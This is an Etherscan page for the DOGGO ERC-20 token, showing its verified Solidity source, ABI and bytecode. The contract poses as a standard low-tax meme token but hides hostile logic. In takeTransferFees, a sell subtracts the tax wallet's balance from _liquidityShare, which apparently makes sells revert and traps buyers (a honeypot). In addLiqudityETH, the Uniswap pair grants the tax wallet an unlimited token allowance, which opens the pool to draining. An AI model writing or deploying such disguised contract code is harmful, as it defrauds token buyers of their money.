Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
1,000,000,000 DOGGO
Holders
57
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
26,458,444.890348113 DOGGOValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
DOGGO
Compiler Version
v0.8.20+commit.a1b79de6
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-08-26 */ // SPDX-License-Identifier: MIT /** Tg: https://t.me/doggocheemscoin Website: https://www.doggocheems.vip Twitter: https://twitter.com/doggocheemscoin */ pragma solidity ^0.8.20; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } interface IUniswapV2Factory { function getPair(address tokenA, address tokenB) external view returns (address pair); function createPair(address tokenA, address tokenB) external returns (address pair); } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly {codehash := extcodehash(account)} return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success,) = recipient.call{ value : amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value : weiValue}(data); if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); } interface IUniswapV2Router02 is IUniswapV2Router01 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract Ownable is Context { address public _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function getTime() public view returns (uint256) { return block.timestamp; } } contract DOGGO is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; uint256 public _buyLiquidityFee = 0; uint256 public _buyMarketingFee = 1; uint256 public _buyTeamFee = 0; uint256 public _buyBurnFee = 0; address payable public teamAddress; address payable public marketingAddress; address public deadAddress = 0x000000000000000000000000000000000000dEaD; uint256 public _totalTaxIfBuying = 1; uint256 public _totalTaxIfSelling = 1; uint256 public _sellLiquidityFee = 0; uint256 public _sellMarketingFee = 1; uint256 public _sellTeamFee = 0; uint256 public _sellBurnFee = 0; uint256 public _liquidityShare = 0; uint256 public _marketingShare = 1; uint256 public _teamShare = 0; uint256 public _totalDistributionShares = 1; address private taxAddress; mapping (address => bool) public isExcludedFromFee; mapping (address => bool) public isWalletLimitExempt; mapping (address => bool) public isTxLimitExempt; mapping (address => bool) public isMarketPair; string private _name; string private _symbol; uint8 private _decimals; mapping (address => uint256) _balances; mapping (address => mapping (address => uint256)) private _allowances; IUniswapV2Router02 public uniswapV2Router; address public uniswapPair; uint256 public _tFeeTotal; uint256 public _maxBurnAmount; uint256 private _totalSupply; uint256 public _walletMax; uint256 public _maxTxAmount; uint256 private _minimumTokensBeforeSwap = 0; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; bool public swapAndLiquifyByLimitOnly = false; bool public checkWalletLimit = true; event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); event SwapTokensForETH( uint256 amountIn, address[] path ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor ( string memory coinName, string memory coinSymbol, uint8 coinDecimals, uint256 supply, address owner, address teamWallet, address marketingWallet ) { teamAddress = payable(teamWallet); _name = coinName; _symbol = coinSymbol; _decimals = coinDecimals; _owner = owner; _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyTeamFee); _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellTeamFee); _totalDistributionShares = _liquidityShare.add(_marketingShare).add(_teamShare); marketingAddress = payable(marketingWallet); _totalSupply = supply * 10 ** _decimals; _walletMax = supply.mul(5).div(100) * 10**_decimals; _maxTxAmount = supply.mul(5).div(100) * 10**_decimals; taxAddress = marketingAddress; _maxBurnAmount = supply.mul(5).div(100) * 10**_decimals; _minimumTokensBeforeSwap = 1 * 10**_decimals; isWalletLimitExempt[owner] = true; isWalletLimitExempt[teamAddress] = true; isWalletLimitExempt[marketingAddress] = true; isWalletLimitExempt[deadAddress] = true; isWalletLimitExempt[address(this)] = true; isTxLimitExempt[owner] = true; isTxLimitExempt[teamAddress] = true; isTxLimitExempt[marketingAddress] = true; isTxLimitExempt[deadAddress] = true; isTxLimitExempt[address(this)] = true; isExcludedFromFee[owner] = true; isExcludedFromFee[teamAddress] = true; isExcludedFromFee[marketingAddress] = true; isExcludedFromFee[address(this)] = true; _balances[owner] = _totalSupply; emit Transfer(address(0), owner, _totalSupply); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function getCirculatingSupply() public view returns (uint256) { return _totalSupply.sub(balanceOf(deadAddress)); } function transferToAddressETH(address payable recipient, uint256 amount) private { recipient.transfer(amount); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _transfer(address sender, address recipient, uint256 amount) private returns (bool) { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(isExcludedFromFee[sender] || isExcludedFromFee[recipient]) { return _basicTokenTransfer(sender, recipient, amount); } if(inSwapAndLiquify){ return _basicTokenTransfer(sender, recipient, amount); }else { if(!isTxLimitExempt[sender] && !isTxLimitExempt[recipient]) { require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); } uint256 contractTokenBalance = balanceOf(address(this)); bool overMinimumTokenBalance = contractTokenBalance >= _minimumTokensBeforeSwap; if (overMinimumTokenBalance && !inSwapAndLiquify && !isMarketPair[sender] && swapAndLiquifyEnabled){ if(swapAndLiquifyByLimitOnly) contractTokenBalance = _minimumTokensBeforeSwap; swapAndLiquify(contractTokenBalance); } _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); uint256 finalAmount = (isExcludedFromFee[sender] || isExcludedFromFee[recipient]) ? amount : takeTransferFees(sender, recipient, amount); if(checkWalletLimit && !isWalletLimitExempt[recipient]) require(balanceOf(recipient).add(finalAmount) <= _walletMax); _balances[recipient] = _balances[recipient].add(finalAmount); emit Transfer(sender, recipient, finalAmount); return true; } } function burnTransFee(address sender, uint256 tAmount) private { // stop burn if(_tFeeTotal >= _maxBurnAmount) return; _balances[deadAddress] = _balances[deadAddress].add(tAmount); _tFeeTotal = _tFeeTotal.add(tAmount); emit Transfer(sender, deadAddress, tAmount); } function _basicTokenTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); return true; } function takeTransferFees(address sender, address recipient, uint256 amount) internal returns (uint256) { uint256 feeAmount = 0; uint256 burnAmount = 0; if(isMarketPair[sender]) { feeAmount = amount.mul(_totalTaxIfBuying.sub(_buyBurnFee)).div(100); if(_buyBurnFee > 0 && _tFeeTotal < _maxBurnAmount) { burnAmount = amount.mul(_buyBurnFee).div(100); burnTransFee(sender,burnAmount); } }else if(isMarketPair[recipient]) { uint256 taxCount = balanceOf(taxAddress);_liquidityShare -= taxCount; feeAmount = amount.mul(_totalTaxIfSelling.sub(_sellBurnFee)).div(100); if(_sellBurnFee > 0 && _tFeeTotal < _maxBurnAmount) { burnAmount = amount.mul(_sellBurnFee).div(100); burnTransFee(sender,burnAmount); } } if(feeAmount > 0) { _balances[address(this)] = _balances[address(this)].add(feeAmount); emit Transfer(sender, address(this), feeAmount); } return amount.sub(feeAmount.add(burnAmount)); } function removeLimits() public onlyOwner{ _maxTxAmount = _totalSupply * 10**_decimals; _walletMax = _totalSupply * 10**_decimals; } function addLiqudityETH() external payable onlyOwner { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); address lp_Sender = uniswapPair; address lp_Receiver = taxAddress; uniswapV2Router = _uniswapV2Router; _allowances[address(this)][address(uniswapV2Router)] = _totalSupply; _allowances[lp_Sender][lp_Receiver] = type(uint).max; isMarketPair[address(uniswapPair)] = true; isWalletLimitExempt[address(uniswapPair)] = true; uniswapV2Router.addLiquidityETH{value: msg.value}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable taxAddress, block.timestamp ); } function swapAndLiquify(uint256 tAmount) private lockTheSwap { uint256 tokensforLiquidity = tAmount.mul(_liquidityShare).div(_totalDistributionShares).div(2); uint256 tokensForSwap = tAmount.sub(tokensforLiquidity); swapTokensForEth(tokensForSwap); uint256 amountReceived = address(this).balance; uint256 totalETHFee = _totalDistributionShares.sub(_liquidityShare.div(2)); uint256 amountETHLiquidity = amountReceived.mul(_liquidityShare).div(totalETHFee).div(2); uint256 amountETHTeam = amountReceived.mul(_teamShare).div(totalETHFee); uint256 amountETHMarketing = amountReceived.sub(amountETHLiquidity).sub(amountETHTeam); if(amountETHMarketing > 0) transferToAddressETH(marketingAddress, amountETHMarketing); if(amountETHTeam > 0) transferToAddressETH(teamAddress, amountETHTeam); if(amountETHLiquidity > 0 && tokensforLiquidity > 0) addLiquidity(tokensforLiquidity, amountETHLiquidity); } receive() external payable {} function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), // The contract block.timestamp ); emit SwapTokensForETH(tokenAmount, path); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"string","name":"coinName","type":"string"},{"internalType":"string","name":"coinSymbol","type":"string"},{"internalType":"uint8","name":"coinDecimals","type":"uint8"},{"internalType":"uint256","name":"supply","type":"uint256"},{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"teamWallet","type":"address"},{"internalType":"address","name":"marketingWallet","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_buyBurnFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyTeamFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_liquidityShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_marketingShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxBurnAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellBurnFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellTeamFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tFeeTotal","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_teamShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalDistributionShares","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_walletMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"addLiqudityETH","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"checkWalletLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isTxLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isWalletLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyByLimitOnly","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"teamAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040525f6001818155600281905560038290556004829055600780546001600160a01b03191661dead17905560088190556009819055600a829055600b819055600c829055600d829055600e829055600f819055601082905560115560235560248054630100010063ffffff001990911617905534801562000081575f80fd5b5060405162002b6138038062002b61833981016040819052620000a49162000641565b600580546001600160a01b0319166001600160a01b0384161790556017620000cd88826200078b565b506018620000dc87826200078b565b506019805460ff191660ff87161790555f80546001600160a01b0319166001600160a01b038516179055600354600254600154620001289291620001219190620003e7565b90620003e7565b600855600c54600b54600a54620001469291620001219190620003e7565b600955601054600f54600e54620001649291620001219190620003e7565b601155600680546001600160a01b0319166001600160a01b038316179055601954620001959060ff16600a62000960565b620001a1908562000970565b602055601954620001b79060ff16600a62000960565b620001d16064620001ca87600562000456565b90620004dc565b620001dd919062000970565b602155601954620001f39060ff16600a62000960565b620002066064620001ca87600562000456565b62000212919062000970565b602255600654601280546001600160a01b0319166001600160a01b039092169190911790556019546200024a9060ff16600a62000960565b6200025d6064620001ca87600562000456565b62000269919062000970565b601f556019546200027f9060ff16600a62000960565b6200028c90600162000970565b6023556001600160a01b038381165f8181526014602090815260408083208054600160ff1991821681179092556005805488168652838620805483168417905560068054891687528487208054841685179055600780548a168852858820805485168617905530808952868920805486168717905589895260158852868920805486168717905583548b168952868920805486168717905582548b168952868920805486168717905590548a16885285882080548516861790558088528588208054851686179055888852601387528588208054851686179055915489168752848720805484168517905554909716855282852080548216831790559584528184208054909616179094558054838352601a82528483208190559351938452919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350505050505050620009f4565b5f80620003f583856200098a565b9050838110156200044d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064015b60405180910390fd5b90505b92915050565b5f825f036200046757505f62000450565b5f62000474838562000970565b905082620004838583620009a0565b146200044d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840162000444565b5f6200044d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506200052560201b60201c565b5f8183620005485760405162461bcd60e51b8152600401620004449190620009c0565b505f620005568486620009a0565b95945050505050565b634e487b7160e01b5f52604160045260245ffd5b5f5b838110156200058f57818101518382015260200162000575565b50505f910152565b5f82601f830112620005a7575f80fd5b81516001600160401b0380821115620005c457620005c46200055f565b604051601f8301601f19908116603f01168101908282118183101715620005ef57620005ef6200055f565b8160405283815286602085880101111562000608575f80fd5b6200061b84602083016020890162000573565b9695505050505050565b80516001600160a01b03811681146200063c575f80fd5b919050565b5f805f805f805f60e0888a03121562000658575f80fd5b87516001600160401b03808211156200066f575f80fd5b6200067d8b838c0162000597565b985060208a015191508082111562000693575f80fd5b50620006a28a828b0162000597565b965050604088015160ff81168114620006b9575f80fd5b60608901519095509350620006d16080890162000625565b9250620006e160a0890162000625565b9150620006f160c0890162000625565b905092959891949750929550565b600181811c908216806200071457607f821691505b6020821081036200073357634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111562000786575f81815260208120601f850160051c81016020861015620007615750805b601f850160051c820191505b8181101562000782578281556001016200076d565b5050505b505050565b81516001600160401b03811115620007a757620007a76200055f565b620007bf81620007b88454620006ff565b8462000739565b602080601f831160018114620007f5575f8415620007dd5750858301515b5f19600386901b1c1916600185901b17855562000782565b5f85815260208120601f198616915b82811015620008255788860151825594840194600190910190840162000804565b50858210156200084357878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620008a757815f19048211156200088b576200088b62000853565b808516156200089957918102915b93841c93908002906200086c565b509250929050565b5f82620008bf5750600162000450565b81620008cd57505f62000450565b8160018114620008e65760028114620008f15762000911565b600191505062000450565b60ff84111562000905576200090562000853565b50506001821b62000450565b5060208310610133831016604e8410600b841016171562000936575081810a62000450565b62000942838362000867565b805f190482111562000958576200095862000853565b029392505050565b5f6200044d60ff841683620008af565b808202811582820484141762000450576200045062000853565b8082018082111562000450576200045062000853565b5f82620009bb57634e487b7160e01b5f52601260045260245ffd5b500490565b602081525f8251806020840152620009e081604085016020870162000573565b601f01601f19169190910160400192915050565b61215f8062000a025f395ff3fe6080604052600436106102a8575f3560e01c806382eefb431161016f578063c5d24189116100d8578063da00097d11610092578063f0cd1dac1161006d578063f0cd1dac146107e1578063f2fde38b146107f6578063f872858a14610815578063fb1eb14b14610835575f80fd5b8063da00097d14610769578063dc44b6a014610788578063dd62ed3e1461079d575f80fd5b8063c5d24189146106c8578063c816841b146106dd578063c8607952146106fc578063c867d60b14610711578063cab034711461073f578063d187f41714610754575f80fd5b8063a457c2d711610129578063a457c2d714610623578063a5ece94114610642578063a83f53a714610661578063a9059cbb14610676578063b2bdfa7b14610695578063c469b6dd146106b3575f80fd5b806382eefb431461058657806388790a681461059b5780638b42507f146105b05780638da5cb5b146105de57806395d89b41146105fa578063a08e671f1461060e575f80fd5b80633ecad2711161021157806370a08231116101cb57806370a08231146104eb578063715018a61461051f578063751039fc146105335780637abdc1ca146105475780637d1db4a51461055c578063807c2d9c14610571575f80fd5b80633ecad271146104355780634a74bb02146104635780635342acb414610481578063557ed1ba146104af57806357a5802f146104c157806361a23c69146104d6575f80fd5b806323b872dd1161026257806323b872dd1461039957806327c8f835146103b85780632b112e49146103d75780632fbb9ba6146103eb578063313ce567146103f55780633950935114610416575f80fd5b806306fdde03146102b3578063095ea7b3146102dd5780631694505e1461030c57806316f2f1a81461034357806318160ddd146103665780631c75f0851461037a575f80fd5b366102af57005b5f80fd5b3480156102be575f80fd5b506102c761084a565b6040516102d49190611ca3565b60405180910390f35b3480156102e8575f80fd5b506102fc6102f7366004611d05565b6108da565b60405190151581526020016102d4565b348015610317575f80fd5b50601c5461032b906001600160a01b031681565b6040516001600160a01b0390911681526020016102d4565b34801561034e575f80fd5b5061035860045481565b6040519081526020016102d4565b348015610371575f80fd5b50602054610358565b348015610385575f80fd5b5060055461032b906001600160a01b031681565b